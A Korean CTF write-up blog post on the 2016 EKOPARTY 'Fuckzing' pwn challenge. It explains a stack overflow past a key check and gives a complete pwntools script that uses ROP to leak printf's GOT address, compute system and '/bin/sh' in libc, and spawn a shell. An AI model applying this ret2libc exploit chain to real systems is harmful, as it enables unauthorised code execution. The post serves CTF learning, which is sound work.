튜기's blogggg

2016 EKOPARTY Fuckzing exploit

by St1tch



바이너리 자체는 reversing 250점 문제와 똑같다.


키를 맞추고 나면 memcpy함수가 실행된다.


입력값의 1~100번째 값은 키를 맞추는데 사용됬고,

101번째 부터는 ebp-20h 에 복사가 된다.

따라서 입력한 값 100 + 0x20 + 8 = 140번째에 넣는 값은 rbp+8, 즉 리턴되는 주소이다.

system('/bin/sh')를 사용하기 위해서는 실제주소를 알아야하기 때문에 릭하는 과정이 필요하다.



나는 rop페이로드를 짜서 printf의 주소를 알아낸 후, 

libc의 오프셋주소를 이용해서 실제 system주소와 /bin/sh 문자열 주소를 알아냈다.

그리고 두번째 실행할 때, system('/bin/sh')가 실행되도록 페이로드를 구성한 후 보냈고 쉘이 따졌다.

aslr이 꺼져있다고 적혀있었기 때문에 굳이 트리거를 시킬 필요는 없었다.






from pwn import *

def conn(local=True) :
    global s
    if local :
        s = remote('localhost', 7788)
        pause()
    else :
        s = remote('7e0a98bb084ec0937553472e7aafcf68ff96baf4.ctf.site', 10000)

key = open('key', 'rb').read()
libc = ELF('libc.so')
printf_got = 0x606020
write_plt = 0x400960
ppppppr = 0x40567A  #rbx, rbp, r12, r13, r14, r15
add_dh = 0x40524c   #add dh, bh
p_rdi = 0x405683
p_rsi_r15 = 0x405681

def solver() :
    p = log.progress('pwn..... ')
    pay = key[:140]

    conn(1)
    p.status('got address leak....')
    pay1 = pay + p64(ppppppr) + p64(0x100) + p64(0) * 5   #rbx=0x100
    pay1 += p64(add_dh)             #rdx=rbx=0x100
    pay1 += p64(p_rdi) + p64(1)     #rdi=1
    pay1 += p64(p_rsi_r15) + p64(printf_got) + p64(0)      #rsi=got_printf
    pay1 += p64(write_plt)

    s.sendline(pay1)
    s.recvuntil('bye!')
    printf = s.recv(8)
    printf = u64(printf)
    s.close()

    p.status('get shell....')
    offset = printf - libc.symbols['printf']
    system = offset + libc.symbols['system']
    binsh = offset + list(libc.search('/bin/sh'))[0]

    conn(1)
    pay2 = pay + p64(p_rdi)
    pay2 += p64(binsh)
    pay2 += p64(system)

    s.sendline(pay2)
    p.success('Success!!')
    s.interactive()

if __name__ == '__main__' :
    solver()







   


블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기